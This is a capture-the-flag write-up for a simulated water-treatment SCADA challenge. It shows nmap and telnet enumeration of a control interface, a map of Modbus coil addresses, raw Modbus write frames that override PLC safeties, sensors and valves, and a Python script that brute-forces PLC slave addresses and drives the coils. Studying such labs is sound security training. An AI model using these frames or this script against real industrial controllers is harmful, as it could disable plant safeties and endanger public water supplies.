State of Emergency
Scenario
This hardware/ICS challenge drops us into a simulated SCADA incident: malware has locked operators out of a water treatment facility’s HMI, and an attacker intends to contaminate the public water supply with chemicals from the plant. Our job is to interact with the exposed control interface and neutralize the threat.
A DDoS attack is ongoing against our capital city's water management system. Every facility in this system appears to be infected by malware that rendered the HMI interfaces unusable, thus locking out every system administrator out of the SCADA infrastructure. The incident response team has managed to pinpoint the organization's objective which is to contaminate the public water supply system with toxic chemicals from the water treatment facility. We need to neutralize the threat before it's too late! We have also prepared a brief for you with all the information you might need.
Background
A few terms are worth defining up front, since the whole challenge hinges on speaking Modbus to a PLC.
SCADA: Supervisory Control And Data Acquisition (referring to infra systems)
MODBUS: Modbus is the de facto standard protocol for PLC’s
PLC: Programmable Logic Controllers
CRC: (modbus) Cyclic Redundancy Check (think checksum)
GPM: Gallons Per Minute
HMI: Human Machine Interface
RTU: Remote Terminal Unit
Enumeration
We start with a service scan of the target port. Nmap doesn’t recognize the protocol, but the banner reveals a custom “Water Purification Facility Command Line Interface” rather than a raw Modbus listener.
nmap -p 31168 -v 167.71.135.203 -Pn -sC -sV
PORT STATE SERVICE REASON VERSION
31168/tcp open unknown syn-ack
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, RPCCheck, RTSPRequest:
| Water Purification Facility Command Line Interface
| Entering interactive mode [Press "H" for available commands]
| cmd> [!] Not a valid option
| cmd>
| NULL:
| Water Purification Facility Command Line Interface
| Entering interactive mode [Press "H" for available commands]
|_ cmd>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31168-TCP:V=7.92%I=7%D=7/15%Time=62D1EDCA%P=x86_64-pc-linux-gnu%r(N
SF:ULL,79,"Water\x20Purification\x20Facility\x20Command\x20Line\x20Interfa
SF:ce\n\[\*\]\x20Entering\x20interactive\x20mode\x20\[Press\x20\"H\"\x20fo
SF:r\x20available\x20commands\]\ncmd>\x20")%r(GenericLines,95,"Water\x20Pu
SF:rification\x20Facility\x20Command\x20Line\x20Interface\n\[\*\]\x20Enter
SF:ing\x20interactive\x20mode\x20\[Press\x20\"H\"\x20for\x20available\x20c
SF:ommands\]\ncmd>\x20\[!\]\x20Not\x20a\x20valid\x20option\ncmd>\x20")%r(G
SF:etRequest,95,"Water\x20Purification\x20Facility\x20Command\x20Line\x20I
SF:nterface\n\[\*\]\x20Entering\x20interactive\x20mode\x20\[Press\x20\"H\"
SF:\x20for\x20available\x20commands\]\ncmd>\x20\[!\]\x20Not\x20a\x20valid\
SF:x20option\ncmd>\x20")%r(HTTPOptions,95,"Water\x20Purification\x20Facili
SF:ty\x20Command\x20Line\x20Interface\n\[\*\]\x20Entering\x20interactive\x
SF:20mode\x20\[Press\x20\"H\"\x20for\x20available\x20commands\]\ncmd>\x20\
SF:[!\]\x20Not\x20a\x20valid\x20option\ncmd>\x20")%r(RTSPRequest,95,"Water
SF:\x20Purification\x20Facility\x20Command\x20Line\x20Interface\n\[\*\]\x2
SF:0Entering\x20interactive\x20mode\x20\[Press\x20\"H\"\x20for\x20availabl
SF:e\x20commands\]\ncmd>\x20\[!\]\x20Not\x20a\x20valid\x20option\ncmd>\x20
SF:")%r(RPCCheck,95,"Water\x20Purification\x20Facility\x20Command\x20Line\
SF:x20Interface\n\[\*\]\x20Entering\x20interactive\x20mode\x20\[Press\x20\
SF:"H\"\x20for\x20available\x20commands\]\ncmd>\x20\[!\]\x20Not\x20a\x20va
SF:lid\x20option\ncmd>\x20")%r(DNSVersionBindReqTCP,95,"Water\x20Purificat
SF:ion\x20Facility\x20Command\x20Line\x20Interface\n\[\*\]\x20Entering\x20
SF:interactive\x20mode\x20\[Press\x20\"H\"\x20for\x20available\x20commands
SF:\]\ncmd>\x20\[!\]\x20Not\x20a\x20valid\x20option\ncmd>\x20")%r(DNSStatu
SF:sRequestTCP,95,"Water\x20Purification\x20Facility\x20Command\x20Line\x2
SF:0Interface\n\[\*\]\x20Entering\x20interactive\x20mode\x20\[Press\x20\"H
SF:\"\x20for\x20available\x20commands\]\ncmd>\x20\[!\]\x20Not\x20a\x20vali
SF:d\x20option\ncmd>\x20")%r(Help,95,"Water\x20Purification\x20Facility\x2
SF:0Command\x20Line\x20Interface\n\[\*\]\x20Entering\x20interactive\x20mod
SF:e\x20\[Press\x20\"H\"\x20for\x20available\x20commands\]\ncmd>\x20\[!\]\
SF:x20Not\x20a\x20valid\x20option\ncmd>\x20");
Connecting to the CLI
The target endpoint is reachable directly over TCP. We connect with telnet and enter the facility’s interactive command line.
167.71.135.203:31168
Pressing H lists the three supported commands: system for status, modbus to inject raw protocol frames, and exit. The system output enumerates two PLCs as JSON: a water tank (which carries the flag field) and a mixer, each exposing named coils for valves, sensors, and control modes.
telnet 167.71.135.203 31168
Trying 167.71.135.203...
Connected to 167.71.135.203.
Escape character is '^]'.
Water Purification Facility Command Line Interface
[*] Entering interactive mode [Press "H" for available commands]
cmd> H
[*] Available commands:
system: Get system status
modbus: Send command to the network (hex format: AABBCCDDEE[FF])
exit: Exit the interface
cmd> system
[*] PLCs found:
water tank:{"auto_mode": 1, "manual_mode": 0, "stop_out": 0, "stop_in": 0, "high_sensor": 0, "in_valve": 1, "out_valve": 0, "start": 0, "low_sensor": 1, "manual_mode_control": 0, "cutoff": 0, "force_start_out": 0, "force_start_in": 0, "flag": "HTB{}"}
mixer:{"auto_mode": 0, "in_vale": 0, "in_vale_water": 0, "out_valve": 0, "in_valve": 0, "start": 0, "low_sensor": 0, "high_sensor": 0}
A community write-up of the same challenge provides useful context.
https://blog.brathadairean.com/hack-the-box-business-ctf-dirty-money-hardware-challenge-write-up-a95c1fe6384d
Mapping coil addresses
The modbus command accepts a raw RTU frame, so we need to know which coil address corresponds to each named state in the JSON. Mapping the status fields to their Modbus coil addresses (in hex) gives us the register layout for both PLCs.
PLU: Water Tank
35, start
40, low_sensor
41, high_sensor
C8, manual_mode_control
CE, cutoff
04D2, force_start_out
0538, force_start_in
PLU: Mixer
2D, start
43, low_sensor
44, high_sensor
This reference explains the Modbus RTU frame format used below.
Modbus RTU made simple with detailed descriptions and examples
https://ipc2u.com/articles/knowledge-base/modbus-rtu-made-simple-with-detailed-descriptions-and-examples/
Anatomy of a Modbus frame
Each modbus argument is a hex-encoded RTU request. Breaking down a single write to the water tank’s manual_mode_control coil shows how the slave address, function code, coil address, and boolean payload pack together.
880500C8FF00
88: PLU Address (136, which happened to be the Water tank’s address)
05: Function Code (05 is Write, 01 is Read for coils)
00C8: The Coil (C8 was manual_mode_control, we are WRITING to this)
FF00: Data (Boolean, so FF00 = True, 1 and 0000 = False, 0)
A full solver for the challenge is available here.
https://github.com/dotPY-hax/state_of_emergency
Manual exploitation
Issuing the write frames in sequence overrides the PLC’s automatic safeties: we force the water tank into manual control, trip and clear the cutoff, force the input/output valves, override the low sensor, and start the mixer (35 at address 44). This manually drives water through the system without contamination, neutralizing the attack and releasing the flag in the system output.
modbus 880500C8FF00
modbus 880500CEFF00
modbus 880500CEFF00
modbus 880504D2FF00
modbus 88050538FF00
modbus 880500400000
modbus 35050044FF00
modbus 880500CE0000
Automated solver: interface.py
The same logic, scripted. The Interface class opens a raw socket to the CLI, parses the system JSON status, and exposes send_command to build Modbus write frames from PLC/coil/data values. Note the coil constants are passed in decimal (e.g. 200 = 0xC8, 206 = 0xCE, 1234 = 0x04D2, 1336 = 0x0538, 64 = 0x40, 68 = 0x44) and formatted to hex internally.
import json
import socket
class Interface:
def __init__(self):
self.connection = None
self.host = "167.172.62.255:30881"
self.open_connection()
self.debug = False
self.mixer = 53
self.water = 136
def get_host_tuple(self):
ip, port = self.host.split(":")
port = int(port)
return ip, port
def open_connection(self):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect(self.get_host_tuple())
self.connection.recv(1024)
self.connection.recv(1024)
def get_status(self):
self.connection.send(b"system\n")
r = self.connection.recv(1024)
if self.debug:
print(r)
if b"SLAVE DEVICE" in r:
r = self.connection.recv(1024)
if self.debug:
print(r)
if b"cmd" in r:
r = self.connection.recv(1024)
if self.debug:
print(r)
self.connection.recv(1024)
lines = r.split(b"\n")
water_tank = lines[0]
water_tank = water_tank[27:]
water_tank = json.loads(water_tank)
mixer = lines[2]
mixer = mixer[6:]
mixer = json.loads(mixer)
print(water_tank)
print(mixer)
return {"tank": water_tank, "mixer": mixer}
def send_command(self, plc, command, coil, data=False):
prefix = "modbus"
plc = format(plc, "02X")
coil = format(coil,"04X")
data = ["0000", "FF00"][data]
modbus = plc+command+coil+data
command = prefix + " " + modbus + "\n"
print(command)
self.connection.send(command.encode())
if self.debug:
print(self.connection.recv(1024))
print(self.connection.recv(1024))
else:
self.connection.recv(1024)
self.connection.recv(1024)
def write_coil(self, plc, coil, data):
self.get_status()
self.send_command(plc, "05", coil, data)
return self.get_status()
def set_manual_mode_water(self, state):
self.write_coil(self.water, 200, state)
self.cutoff(True)
def input_water(self, state):
self.write_coil(self.water, 1336, state)
def output_water(self, state):
self.write_coil(self.water, 1234, state)
def cutoff(self, state):
self.write_coil(self.water, 206, state)
def overwrite_low_sensor_water(self, state):
self.write_coil(self.water, 64, state)
def overwrite_high_sensor_mixer(self, state):
self.write_coil(self.mixer, 68, state)
def pwn(self):
self.set_manual_mode_water(True)
self.cutoff(True)
self.output_water(True)
self.input_water(True)
self.overwrite_low_sensor_water(False)
self.overwrite_high_sensor_mixer(True)
self.cutoff(False)
class ChallengePwn(Interface):
def test_plu(self, plu):
if not self.water:
is_water = self.write_coil(plu, 53, True)
if is_water["tank"]["start"] == 1:
self.water = plu
if not self.mixer:
is_mixer = self.write_coil(plu, 45, True)
if is_mixer["mixer"]["start"] == 1:
self.mixer = plu
def fuzz_plu(self):
for plu in range(256):
self.test_plu(plu)
if self.water and self.mixer:
print("WATER PLU: "+str(self.water))
print("MIXER PLU: "+str(self.mixer))
break
def fuzz_and_pwn(self):
#this is for demonstration only
self.water = None
self.mixer = None
self.fuzz_plu()
self.pwn()
pwn = ChallengePwn()
pwn.fuzz_and_pwn()
The pwn() method replays the exact write sequence from the manual section, while ChallengePwn.fuzz_plu() demonstrates brute-forcing the unknown PLC slave addresses (0-255) by toggling each candidate’s start coil and checking whether the status reflects the change. Once both PLCs are identified, pwn() neutralizes the threat and the flag appears in the water tank’s status JSON.